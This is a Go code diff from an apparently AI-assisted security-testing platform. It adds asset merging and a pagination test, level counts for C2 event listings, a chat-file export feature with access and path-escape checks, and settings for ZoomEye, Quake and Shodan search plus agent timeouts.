if strings.TrimSpace(*dst) == "" && strings.TrimSpace(src) != "" {
*dst = src
}
}
tagSet := map[string]struct{}{}
for _, tag := range primary.Tags {
tagSet[tag] = struct{}{}
}
for _, item := range others {
mergeText(&primary.ProjectID, item.ProjectID)
mergeText(&primary.Host, item.Host)
mergeText(&primary.IP, item.IP)
mergeText(&primary.Domain, item.Domain)
mergeText(&primary.Protocol, item.Protocol)
mergeText(&primary.Title, item.Title)
mergeText(&primary.Server, item.Server)
mergeText(&primary.Country, item.Country)
mergeText(&primary.Province, item.Province)
mergeText(&primary.City, item.City)
mergeText(&primary.ResponsiblePerson, item.ResponsiblePerson)
mergeText(&primary.Department, item.Department)
mergeText(&primary.BusinessSystem, item.BusinessSystem)
mergeText(&primary.Environment, item.Environment)
mergeText(&primary.Criticality, item.Criticality)
for _, tag := range item.Tags {
tagSet[tag] = struct{}{}
}
}
primary.Tags = primary.Tags[:0]
for tag := range tagSet {
primary.Tags = append(primary.Tags, tag)
}
if len(primary.Tags) > 30 {
c.JSON(http.StatusBadRequest, gin.H{"error": "合并后标签超过 30 个"})
return
}
ids := make([]string, 0, len(others))
for _, item := range others {
ids = append(ids, item.ID)
}
merged, err := h.db.MergeAssets(primary, ids, writeAccess, deleteAccess)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
updated, _ := h.db.GetAsset(primary.ID, writeAccess)
c.JSON(http.StatusOK, gin.H{"merged": merged, "asset": updated})
}
func (h *AssetHandler) Delete(c *gin.Context) {
if err := h.db.DeleteAsset(c.Param("id"), assetAccess(c)); err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "资产不存在或无权删除"})
+83
View File
@@ -0,0 +1,83 @@
package handler
import (
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"path/filepath"
"testing"
"cyberstrike-ai/internal/database"
"github.com/gin-gonic/gin"
"go.uber.org/zap"
)
func TestAssetListPaginatesWithinProject(t *testing.T) {
gin.SetMode(gin.TestMode)
db, err := database.NewDB(filepath.Join(t.TempDir(), "asset-list-pagination.db"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
project, err := db.CreateProject(&database.Project{Name: "Paged Project", Status: "active"})
if err != nil {
t.Fatal(err)
}
otherProject, err := db.CreateProject(&database.Project{Name: "Other Project", Status: "active"})
if err != nil {
t.Fatal(err)
}
assets := make([]*database.Asset, 0, 8)
for i := 1; i <= 7; i++ {
assets = append(assets, &database.Asset{
ProjectID: project.ID,
IP: fmt.Sprintf("192.0.2.%d", i),
Port: 80,
Protocol: "http",
})
}
assets = append(assets, &database.Asset{
ProjectID: otherProject.ID,
IP: "198.51.100.1",
Port: 443,
Protocol: "https",
})
if _, err := db.UpsertAssets(assets, "", true); err != nil {
t.Fatal(err)
}
router := gin.New()
router.GET("/api/assets", NewAssetHandler(db, zap.NewNop()).List)
request := httptest.NewRequest(http.MethodGet, "/api/assets?project_id="+project.ID+"&page=2&page_size=3", nil)
response := httptest.NewRecorder()
router.ServeHTTP(response, request)
if response.Code != http.StatusOK {
t.Fatalf("unexpected status %d: %s", response.Code, response.Body.String())
}
var payload struct {
Assets []*database.Asset `json:"assets"`
Total int `json:"total"`
Page int `json:"page"`
PageSize int `json:"page_size"`
TotalPages int `json:"total_pages"`
}
if err := json.Unmarshal(response.Body.Bytes(), &payload); err != nil {
t.Fatal(err)
}
if payload.Total != 7 || payload.Page != 2 || payload.PageSize != 3 || payload.TotalPages != 3 {
t.Fatalf("unexpected pagination: total=%d page=%d page_size=%d total_pages=%d",
payload.Total, payload.Page, payload.PageSize, payload.TotalPages)
}
if len(payload.Assets) != 3 {
t.Fatalf("expected 3 assets on page 2, got %d", len(payload.Assets))
}
for _, asset := range payload.Assets {
if asset.ProjectID != project.ID {
t.Fatalf("asset from another project leaked into page: %#v", asset)
}
}
}
+11 -5
View File
@@ -788,7 +788,7 @@ func (h *C2Handler) ListEvents(c *gin.Context) {
TaskID: c.Query("task_id"),
}
if since := c.Query("since"); since != "" {
if t, err := time.Parse(time.RFC3339, since); err == nil {
if t, err := database.ParseRFC3339Time(since); err == nil {
filter.Since = &t
}
}
@@ -832,11 +832,17 @@ func (h *C2Handler) ListEvents(c *gin.Context) {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
levelCounts, err := h.mgr().DB().CountC2EventsByLevelForAccess(filter, access)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"events": events,
"total": total,
"page": page,
"page_size": pageSize,
"events": events,
"total": total,
"level_counts": levelCounts,
"page": page,
"page_size": pageSize,
})
}
+611 -16
View File
@@ -1,13 +1,17 @@
package handler
import (
"archive/zip"
"crypto/rand"
"encoding/json"
"fmt"
"io"
"mime"
"net/http"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"time"
"unicode/utf8"
@@ -21,8 +25,15 @@ import (
)
const (
chatUploadsRootDirName = "chat_uploads"
maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
chatUploadsRootDirName = "chat_uploads"
reductionRootDirName = "tmp/reduction"
artifactsRootDirName = "data/conversation_artifacts"
reductionVirtualPrefix = "__reduction__/"
artifactVirtualPrefix = "__conversation_artifact__/"
chatUploadSourceUpload = "upload"
chatUploadSourceReduction = "reduction"
chatUploadSourceConversation = "conversation_artifact"
maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
)
// ChatUploadsHandler 对话中上传附件(chat_uploads 目录)的管理 API
@@ -66,6 +77,64 @@ func (h *ChatUploadsHandler) pathAllowed(c *gin.Context, relativePath string) bo
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", parts[1])
}
func (h *ChatUploadsHandler) reductionPathAllowed(c *gin.Context, scope, id string) bool {
session, ok := security.CurrentSession(c)
if !ok || h.db == nil {
return false
}
if session.Scope == database.RBACScopeAll {
return true
}
id = strings.TrimSpace(id)
switch scope {
case "conversations":
if id == "" || id == "default" {
return false
}
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", id)
case "projects":
if id == "" {
return false
}
return h.db.UserCanAccessResource(session.UserID, session.Scope, "project", id)
default:
return false
}
}
func (h *ChatUploadsHandler) reductionVirtualPathAllowed(c *gin.Context, relativePath string) bool {
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), reductionVirtualPrefix)
parts := strings.Split(filepath.ToSlash(rel), "/")
if len(parts) < 2 {
return false
}
return h.reductionPathAllowed(c, parts[0], parts[1])
}
func (h *ChatUploadsHandler) conversationArtifactPathAllowed(c *gin.Context, conversationID string) bool {
session, ok := security.CurrentSession(c)
if !ok || h.db == nil {
return false
}
if session.Scope == database.RBACScopeAll {
return true
}
conversationID = strings.TrimSpace(conversationID)
if conversationID == "" || conversationID == "default" {
return false
}
return h.db.UserCanAccessResource(session.UserID, session.Scope, "conversation", conversationID)
}
func (h *ChatUploadsHandler) conversationArtifactVirtualPathAllowed(c *gin.Context, relativePath string) bool {
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), artifactVirtualPrefix)
parts := strings.Split(filepath.ToSlash(rel), "/")
if len(parts) < 1 {
return false
}
return h.conversationArtifactPathAllowed(c, parts[0])
}
func (h *ChatUploadsHandler) absRoot() (string, error) {
cwd, err := os.Getwd()
if err != nil {
@@ -74,6 +143,46 @@ func (h *ChatUploadsHandler) absRoot() (string, error) {
return filepath.Abs(filepath.Join(cwd, chatUploadsRootDirName))
}
func (h *ChatUploadsHandler) absReductionRoot() (string, error) {
if h.db != nil {
if base := strings.TrimSpace(h.db.EinoReductionBaseDir()); base != "" {
if filepath.IsAbs(base) {
return filepath.Abs(base)
}
cwd, err := os.Getwd()
if err != nil {
return "", err
}
return filepath.Abs(filepath.Join(cwd, base))
}
}
cwd, err := os.Getwd()
if err != nil {
return "", err
}
return filepath.Abs(filepath.Join(cwd, reductionRootDirName))
}
func (h *ChatUploadsHandler) absConversationArtifactsRoot() (string, error) {
if h.db != nil {
if base := strings.TrimSpace(h.db.ConversationArtifactsBaseDir()); base != "" {
if filepath.IsAbs(base) {
return filepath.Abs(base)
}
cwd, err := os.Getwd()
if err != nil {
return "", err
}
return filepath.Abs(filepath.Join(cwd, base))
}
}
cwd, err := os.Getwd()
if err != nil {
return "", err
}
return filepath.Abs(filepath.Join(cwd, artifactsRootDirName))
}
// resolveUnderChatUploads 校验 relativePath(使用 / 分隔)对应文件必须在 chat_uploads 根下
func (h *ChatUploadsHandler) resolveUnderChatUploads(relativePath string) (abs string, err error) {
root, err := h.absRoot()
@@ -105,30 +214,44 @@ type ChatUploadFileItem struct {
RelativePath string `json:"relativePath"`
AbsolutePath string `json:"absolutePath"` // 服务器上的绝对路径,便于在对话中引用(与附件落盘路径一致)
Name string `json:"name"`
Source string `json:"source,omitempty"`
Size int64 `json:"size"`
ModifiedUnix int64 `json:"modifiedUnix"`
Date string `json:"date"`
ConversationID string `json:"conversationId"`
ProjectID string `json:"projectId,omitempty"`
// SubPath 为日期、会话目录之下的子路径(不含文件名),如 date/conv/a/b/file 则为 "a/b";无嵌套则为 ""。
SubPath string `json:"subPath"`
}
// List GET /api/chat-uploads
func (h *ChatUploadsHandler) List(c *gin.Context) {
conversationFilter := strings.TrimSpace(c.Query("conversation"))
func (h *ChatUploadsHandler) conversationProjectID(conversationID string, cache map[string]string) string {
conversationID = strings.TrimSpace(conversationID)
if conversationID == "" || conversationID == "_manual" || conversationID == "_new" || h.db == nil {
return ""
}
if v, ok := cache[conversationID]; ok {
return v
}
projectID, err := h.db.GetConversationProjectID(conversationID)
if err != nil {
projectID = ""
}
cache[conversationID] = projectID
return projectID
}
func (h *ChatUploadsHandler) collectFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, []string, error) {
root, err := h.absRoot()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
return nil, nil, err
}
// 保证根目录存在,否则「按文件夹」浏览时无法 mkdir,且首次列表为空时界面无路径工具栏
if err := os.MkdirAll(root, 0755); err != nil {
h.logger.Warn("创建 chat_uploads 根目录失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
return nil, nil, err
}
var files []ChatUploadFileItem
var folders []string
projectCache := make(map[string]string)
err = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil {
return walkErr
@@ -157,6 +280,7 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
if len(parts) >= 3 {
convID = parts[1]
}
projectID := h.conversationProjectID(convID, projectCache)
var subPath string
if len(parts) >= 4 {
subPath = strings.Join(parts[2:len(parts)-1], "/")
@@ -164,29 +288,32 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
if conversationFilter != "" && convID != conversationFilter {
return nil
}
if projectFilter != "" && projectID != projectFilter {
return nil
}
absPath, _ := filepath.Abs(path)
files = append(files, ChatUploadFileItem{
RelativePath: relSlash,
AbsolutePath: absPath,
Name: d.Name(),
Source: chatUploadSourceUpload,
Size: info.Size(),
ModifiedUnix: info.ModTime().Unix(),
Date: dateStr,
ConversationID: convID,
ProjectID: projectID,
SubPath: subPath,
})
return nil
})
if err != nil {
h.logger.Warn("列举对话附件失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
return nil, nil, err
}
if conversationFilter != "" {
if conversationFilter != "" || projectFilter != "" {
filteredFolders := make([]string, 0, len(folders))
for _, rel := range folders {
parts := strings.Split(rel, "/")
if len(parts) >= 2 && parts[1] == conversationFilter {
if len(parts) >= 2 && (conversationFilter == "" || parts[1] == conversationFilter) && (projectFilter == "" || h.conversationProjectID(parts[1], projectCache) == projectFilter) {
filteredFolders = append(filteredFolders, rel)
continue
}
@@ -221,12 +348,480 @@ func (h *ChatUploadsHandler) List(c *gin.Context) {
sort.Slice(files, func(i, j int) bool {
return files[i].ModifiedUnix > files[j].ModifiedUnix
})
c.JSON(http.StatusOK, gin.H{"files": files, "folders": folders})
reductionFiles, err := h.collectReductionFiles(c, conversationFilter, projectFilter)
if err != nil {
h.logger.Warn("列举 reduction 产物失败", zap.Error(err))
} else if len(reductionFiles) > 0 {
files = append(files, reductionFiles...)
}
artifactFiles, err := h.collectConversationArtifactFiles(c, conversationFilter, projectFilter)
if err != nil {
h.logger.Warn("列举 conversation_artifacts 产物失败", zap.Error(err))
} else if len(artifactFiles) > 0 {
files = append(files, artifactFiles...)
}
sort.Slice(files, func(i, j int) bool {
return files[i].ModifiedUnix > files[j].ModifiedUnix
})
return files, folders, nil
}
func (h *ChatUploadsHandler) collectReductionFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, error) {
root, err := h.absReductionRoot()
if err != nil {
return nil, err
}
if st, err := os.Stat(root); err != nil || !st.IsDir() {
return nil, nil
}
projectCache := make(map[string]string)
files := make([]ChatUploadFileItem, 0)
for _, scope := range []string{"conversations", "projects"} {
scopeRoot := filepath.Join(root, scope)
_ = filepath.WalkDir(scopeRoot, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d == nil || d.IsDir() {
return nil
}
rel, err := filepath.Rel(root, path)
if err != nil {
return nil
}
relSlash := filepath.ToSlash(rel)
parts := strings.Split(relSlash, "/")
if len(parts) < 3 {
return nil
}
ownerID := parts[1]
if !h.reductionPathAllowed(c, scope, ownerID) {
return nil
}
var convID, projectID string
if scope == "conversations" {
convID = ownerID
projectID = h.conversationProjectID(convID, projectCache)
} else {
projectID = ownerID
}
if conversationFilter != "" && convID != conversationFilter {
return nil
}
if projectFilter != "" && projectID != projectFilter {
return nil
}
info, err := d.Info()
if err != nil {
return nil
}
name := d.Name()
if filepath.Ext(name) == "" {
name += ".txt"
}
abs, _ := filepath.Abs(path)
files = append(files, ChatUploadFileItem{
RelativePath: reductionVirtualPrefix + relSlash,
AbsolutePath: abs,
Name: name,
Source: chatUploadSourceReduction,
Size: info.Size(),
ModifiedUnix: info.ModTime().Unix(),
Date: info.ModTime().Format("2006-01-02"),
ConversationID: convID,
ProjectID: projectID,
SubPath: strings.Join(parts[2:len(parts)-1], "/"),
})
return nil
})
}
return files, nil
}
func (h *ChatUploadsHandler) collectConversationArtifactFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, error) {
root, err := h.absConversationArtifactsRoot()
if err != nil {
return nil, err
}
if st, err := os.Stat(root); err != nil || !st.IsDir() {
return nil, nil
}
projectCache := make(map[string]string)
files := make([]ChatUploadFileItem, 0)
_ = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d == nil || d.IsDir() {
return nil
}
rel, err := filepath.Rel(root, path)
if err != nil {
return nil
}
relSlash := filepath.ToSlash(rel)
parts := strings.Split(relSlash, "/")
if len(parts) < 2 {
return nil
}
convID := parts[0]
if !h.conversationArtifactPathAllowed(c, convID) {
return nil
}
projectID := h.conversationProjectID(convID, projectCache)
if conversationFilter != "" && convID != conversationFilter {
return nil
}
if projectFilter != "" && projectID != projectFilter {
return nil
}
info, err := d.Info()
if err != nil {
return nil
}
name := d.Name()
if filepath.Ext(name) == "" {
name += ".txt"
}
abs, _ := filepath.Abs(path)
files = append(files, ChatUploadFileItem{
RelativePath: artifactVirtualPrefix + relSlash,
AbsolutePath: abs,
Name: name,
Source: chatUploadSourceConversation,
Size: info.Size(),
ModifiedUnix: info.ModTime().Unix(),
Date: info.ModTime().Format("2006-01-02"),
ConversationID: convID,
ProjectID: projectID,
SubPath: strings.Join(parts[1:len(parts)-1], "/"),
})
return nil
})
return files, nil
}
func (h *ChatUploadsHandler) resolveReductionVirtualPath(relativePath string) (string, error) {
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), reductionVirtualPrefix)
rel = filepath.Clean(filepath.FromSlash(rel))
if rel == "." || strings.HasPrefix(rel, "..") {
return "", fmt.Errorf("invalid path")
}
root, err := h.absReductionRoot()
if err != nil {
return "", err
}
full, err := filepath.Abs(filepath.Join(root, rel))
if err != nil {
return "", err
}
rootAbs, _ := filepath.Abs(root)
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
return "", fmt.Errorf("path escapes reduction root")
}
return full, nil
}
func (h *ChatUploadsHandler) resolveConversationArtifactVirtualPath(relativePath string) (string, error) {
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), artifactVirtualPrefix)
rel = filepath.Clean(filepath.FromSlash(rel))
if rel == "." || strings.HasPrefix(rel, "..") {
return "", fmt.Errorf("invalid path")
}
root, err := h.absConversationArtifactsRoot()
if err != nil {
return "", err
}
full, err := filepath.Abs(filepath.Join(root, rel))
if err != nil {
return "", err
}
rootAbs, _ := filepath.Abs(root)
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
return "", fmt.Errorf("path escapes conversation artifacts root")
}
return full, nil
}
func chatUploadItemIsInternal(item ChatUploadFileItem) bool {
return item.Source == chatUploadSourceReduction ||
item.Source == chatUploadSourceConversation ||
strings.HasPrefix(item.RelativePath, reductionVirtualPrefix) ||
strings.HasPrefix(item.RelativePath, artifactVirtualPrefix)
}
func (h *ChatUploadsHandler) resolveListedFilePath(item ChatUploadFileItem) (string, error) {
switch {
case item.Source == chatUploadSourceReduction || strings.HasPrefix(item.RelativePath, reductionVirtualPrefix):
return h.resolveReductionVirtualPath(item.RelativePath)
case item.Source == chatUploadSourceConversation || strings.HasPrefix(item.RelativePath, artifactVirtualPrefix):
return h.resolveConversationArtifactVirtualPath(item.RelativePath)
default:
return h.resolveUnderChatUploads(item.RelativePath)
}
}
func chatUploadSourceMatches(item ChatUploadFileItem, sourceFilter string) bool {
sourceFilter = strings.TrimSpace(sourceFilter)
if sourceFilter == "" || sourceFilter == "all" {
return true
}
source := strings.TrimSpace(item.Source)
if source == "" {
source = chatUploadSourceUpload
}
return source == sourceFilter
}
func chatUploadSearchMatches(item ChatUploadFileItem, search string) bool {
search = strings.ToLower(strings.TrimSpace(search))
if search == "" {
return true
}
values := []string{
item.RelativePath,
item.Name,
item.Source,
item.Date,
item.ConversationID,
item.ProjectID,
item.SubPath,
}
for _, value := range values {
if strings.Contains(strings.ToLower(value), search) {
return true
}
}
return false
}
func filterChatUploadItems(files []ChatUploadFileItem, sourceFilter, search string) []ChatUploadFileItem {
if strings.TrimSpace(sourceFilter) == "" && strings.TrimSpace(search) == "" {
return files
}
out := make([]ChatUploadFileItem, 0, len(files))
for _, item := range files {
if chatUploadSourceMatches(item, sourceFilter) && chatUploadSearchMatches(item, search) {
out = append(out, item)
}
}
return out
}
func parsePositiveIntQuery(c *gin.Context, key string, def, max int) int {
raw := strings.TrimSpace(c.Query(key))
if raw == "" {
return def
}
if strings.EqualFold(raw, "all") {
return 0
}
n, err := strconv.Atoi(raw)
if err != nil || n <= 0 {
return def
}
if max > 0 && n > max {
return max
}
return n
}
func paginateChatUploadItems(files []ChatUploadFileItem, page, pageSize int) []ChatUploadFileItem {
if pageSize <= 0 {
return files
}
if page <= 0 {
page = 1
}
start := (page - 1) * pageSize
if start >= len(files) {
return []ChatUploadFileItem{}
}
end := start + pageSize
if end > len(files) {
end = len(files)
}
return files[start:end]
}
// List GET /api/chat-uploads
func (h *ChatUploadsHandler) List(c *gin.Context) {
conversationFilter := strings.TrimSpace(c.Query("conversation"))
projectFilter := strings.TrimSpace(c.Query("project"))
sourceFilter := strings.TrimSpace(c.Query("source"))
search := strings.TrimSpace(c.Query("search"))
page := parsePositiveIntQuery(c, "page", 1, 0)
pageSize := parsePositiveIntQuery(c, "pageSize", 20, 200)
files, folders, err := h.collectFiles(c, conversationFilter, projectFilter)
if err != nil {
h.logger.Warn("列举对话附件失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
files = filterChatUploadItems(files, sourceFilter, search)
total := len(files)
paged := paginateChatUploadItems(files, page, pageSize)
c.JSON(http.StatusOK, gin.H{
"files": paged,
"folders": folders,
"total": total,
"page": page,
"pageSize": pageSize,
})
}
// Export GET /api/chat-uploads/export?conversation=...&project=...
func (h *ChatUploadsHandler) Export(c *gin.Context) {
conversationFilter := strings.TrimSpace(c.Query("conversation"))
projectFilter := strings.TrimSpace(c.Query("project"))
sourceFilter := strings.TrimSpace(c.Query("source"))
search := strings.TrimSpace(c.Query("search"))
files, _, err := h.collectFiles(c, conversationFilter, projectFilter)
if err != nil {
h.logger.Warn("导出对话附件失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
files = filterChatUploadItems(files, sourceFilter, search)
if len(files) == 0 {
c.JSON(http.StatusNotFound, gin.H{"error": "no files to export"})
return
}
nameParts := []string{"chat-files"}
if projectFilter != "" {
nameParts = append(nameParts, "project-"+projectFilter)
}
if conversationFilter != "" {
nameParts = append(nameParts, "conversation-"+conversationFilter)
}
nameParts = append(nameParts, time.Now().Format("20060102-150405"))
filename := strings.Join(nameParts, "-") + ".zip"
c.Header("Content-Type", "application/zip")
c.Header("Content-Disposition", mime.FormatMediaType("attachment", map[string]string{"filename": filename}))
zw := zip.NewWriter(c.Writer)
defer zw.Close()
manifest := gin.H{
"exportedAt": time.Now().UTC().Format(time.RFC3339),
"conversationId": conversationFilter,
"projectId": projectFilter,
"source": sourceFilter,
"search": search,
"fileCount": len(files),
"files": files,
"layout": "chat uploads are stored under conversations/<conversationId>/; internal outputs are stored under internal/<source>/",
"sourceDirectory": []string{chatUploadsRootDirName, reductionRootDirName, artifactsRootDirName},
}
manifestBytes, _ := json.MarshalIndent(manifest, "", " ")
mw, err := zw.Create("manifest.json")
if err != nil {
h.logger.Warn("写入附件导出清单失败", zap.Error(err))
return
}
_, _ = mw.Write(manifestBytes)
used := make(map[string]int)
for _, item := range files {
abs, err := h.resolveListedFilePath(item)
if err != nil {
continue
}
st, err := os.Stat(abs)
if err != nil || st.IsDir() {
continue
}
var zipName string
if item.Source == chatUploadSourceReduction || strings.HasPrefix(item.RelativePath, reductionVirtualPrefix) {
rel := strings.TrimPrefix(item.RelativePath, reductionVirtualPrefix)
zipName = filepath.ToSlash(filepath.Join("internal", "reduction", rel))
if filepath.Ext(zipName) == "" {
zipName += ".txt"
}
} else if item.Source == chatUploadSourceConversation || strings.HasPrefix(item.RelativePath, artifactVirtualPrefix) {
rel := strings.TrimPrefix(item.RelativePath, artifactVirtualPrefix)
zipName = filepath.ToSlash(filepath.Join("internal", "conversation_artifacts", rel))
if filepath.Ext(zipName) == "" {
zipName += ".txt"
}
} else {
conv := strings.TrimSpace(item.ConversationID)
if conv == "" || conv == "_manual" || conv == "_new" {
conv = "manual"
}
zipName = filepath.ToSlash(filepath.Join("conversations", conv, strings.TrimSpace(item.SubPath), item.Name))
}
if used[zipName] > 0 {
ext := filepath.Ext(zipName)
zipName = strings.TrimSuffix(zipName, ext) + fmt.Sprintf("-%d", used[zipName]+1) + ext
}
used[zipName]++
fw, err := zw.Create(zipName)
if err != nil {
h.logger.Warn("创建附件导出项失败", zap.String("path", item.RelativePath), zap.Error(err))
continue
}
src, err := os.Open(abs)
if err != nil {
continue
}
_, copyErr := io.Copy(fw, src)
_ = src.Close()
if copyErr != nil {
h.logger.Warn("复制附件导出项失败", zap.String("path", item.RelativePath), zap.Error(copyErr))
return
}
}
if h.audit != nil {
h.audit.RecordOK(c, "file", "export", "导出对话附件", "chat_upload", filename, map[string]interface{}{
"conversation_id": conversationFilter,
"project_id": projectFilter,
"file_count": len(files),
})
}
}
// Download GET /api/chat-uploads/download?path=...
func (h *ChatUploadsHandler) Download(c *gin.Context) {
p := c.Query("path")
if strings.HasPrefix(strings.TrimSpace(p), reductionVirtualPrefix) {
if !h.reductionVirtualPathAllowed(c, p) {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
abs, err := h.resolveReductionVirtualPath(p)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
st, err := os.Stat(abs)
if err != nil || st.IsDir() {
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
return
}
name := filepath.Base(abs)
if filepath.Ext(name) == "" {
name += ".txt"
}
c.FileAttachment(abs, name)
return
}
if strings.HasPrefix(strings.TrimSpace(p), artifactVirtualPrefix) {
if !h.conversationArtifactVirtualPathAllowed(c, p) {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
abs, err := h.resolveConversationArtifactVirtualPath(p)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
st, err := os.Stat(abs)
if err != nil || st.IsDir() {
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
return
}
name := filepath.Base(abs)
if filepath.Ext(name) == "" {
name += ".txt"
}
c.FileAttachment(abs, name)
return
}
if !h.pathAllowed(c, p) {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
+128 -16
View File
@@ -258,17 +258,20 @@ func (h *ConfigHandler) ApplyWechatRobotBinding(wc config.RobotWechatConfig) err
// GetConfigResponse 获取配置响应
type GetConfigResponse struct {
OpenAI config.OpenAIConfig `json:"openai"`
Vision config.VisionConfig `json:"vision"`
FOFA config.FofaConfig `json:"fofa"`
MCP config.MCPConfig `json:"mcp"`
Tools []ToolConfigInfo `json:"tools"`
Agent config.AgentConfig `json:"agent"`
Hitl config.HitlConfig `json:"hitl,omitempty"`
Knowledge config.KnowledgeConfig `json:"knowledge"`
Robots config.RobotsConfig `json:"robots,omitempty"`
MultiAgent config.MultiAgentPublic `json:"multi_agent,omitempty"`
C2 config.C2Public `json:"c2"`
OpenAI config.OpenAIConfig `json:"openai"`
Vision config.VisionConfig `json:"vision"`
FOFA config.FofaConfig `json:"fofa"`
ZoomEye config.SpaceSearchConfig `json:"zoomeye"`
Quake config.SpaceSearchConfig `json:"quake"`
Shodan config.SpaceSearchConfig `json:"shodan"`
MCP config.MCPConfig `json:"mcp"`
Tools []ToolConfigInfo `json:"tools"`
Agent config.AgentConfig `json:"agent"`
Hitl config.HitlConfig `json:"hitl,omitempty"`
Knowledge config.KnowledgeConfig `json:"knowledge"`
Robots config.RobotsConfig `json:"robots,omitempty"`
MultiAgent config.MultiAgentPublic `json:"multi_agent,omitempty"`
C2 config.C2Public `json:"c2"`
}
// ToolConfigInfo 工具配置信息
@@ -363,6 +366,9 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
OpenAI: h.config.OpenAI,
Vision: h.config.Vision,
FOFA: h.config.FOFA,
ZoomEye: h.config.ZoomEye,
Quake: h.config.Quake,
Shodan: h.config.Shodan,
MCP: h.config.MCP,
Tools: tools,
Agent: h.config.Agent,
@@ -703,6 +709,9 @@ type UpdateConfigRequest struct {
OpenAI *config.OpenAIConfig `json:"openai,omitempty"`
Vision *config.VisionConfig `json:"vision,omitempty"`
FOFA *config.FofaConfig `json:"fofa,omitempty"`
ZoomEye *config.SpaceSearchConfig `json:"zoomeye,omitempty"`
Quake *config.SpaceSearchConfig `json:"quake,omitempty"`
Shodan *config.SpaceSearchConfig `json:"shodan,omitempty"`
MCP *config.MCPConfig `json:"mcp,omitempty"`
Tools []ToolEnableStatus `json:"tools,omitempty"`
Agent *AgentConfigUpdate `json:"agent,omitempty"`
@@ -716,9 +725,14 @@ type UpdateConfigRequest struct {
// AgentConfigUpdate 用于 PATCH /api/config 的 agent 段:仅 JSON 中出现的字段(指针非 nil)覆盖内存配置。
// 避免旧版「整包替换 *AgentConfig」时,未传的整型字段被反序列化为 0 误覆盖(例如 tool_timeout_minutes 变成 0)。
type AgentConfigUpdate struct {
MaxIterations *int `json:"max_iterations,omitempty"`
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
MaxIterations *int `json:"max_iterations,omitempty"`
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
ToolWaitTimeoutSeconds *int `json:"tool_wait_timeout_seconds,omitempty"`
ExternalMCPMaxConcurrentPerServer *int `json:"external_mcp_max_concurrent_per_server,omitempty"`
ExternalMCPMaxConcurrentTotal *int `json:"external_mcp_max_concurrent_total,omitempty"`
ExternalMCPCircuitFailureThreshold *int `json:"external_mcp_circuit_failure_threshold,omitempty"`
ExternalMCPCircuitCooldownSeconds *int `json:"external_mcp_circuit_cooldown_seconds,omitempty"`
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
}
func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
@@ -731,6 +745,21 @@ func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
if src.ToolTimeoutMinutes != nil {
dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
}
if src.ToolWaitTimeoutSeconds != nil {
dst.ToolWaitTimeoutSeconds = *src.ToolWaitTimeoutSeconds
}
if src.ExternalMCPMaxConcurrentPerServer != nil {
dst.ExternalMCPMaxConcurrentPerServer = *src.ExternalMCPMaxConcurrentPerServer
}
if src.ExternalMCPMaxConcurrentTotal != nil {
dst.ExternalMCPMaxConcurrentTotal = *src.ExternalMCPMaxConcurrentTotal
}
if src.ExternalMCPCircuitFailureThreshold != nil {
dst.ExternalMCPCircuitFailureThreshold = *src.ExternalMCPCircuitFailureThreshold
}
if src.ExternalMCPCircuitCooldownSeconds != nil {
dst.ExternalMCPCircuitCooldownSeconds = *src.ExternalMCPCircuitCooldownSeconds
}
if src.SystemPromptPath != nil {
dst.SystemPromptPath = *src.SystemPromptPath
}
@@ -775,7 +804,19 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
// 更新FOFA配置
if req.FOFA != nil {
h.config.FOFA = *req.FOFA
h.logger.Info("更新FOFA配置", zap.String("email", h.config.FOFA.Email))
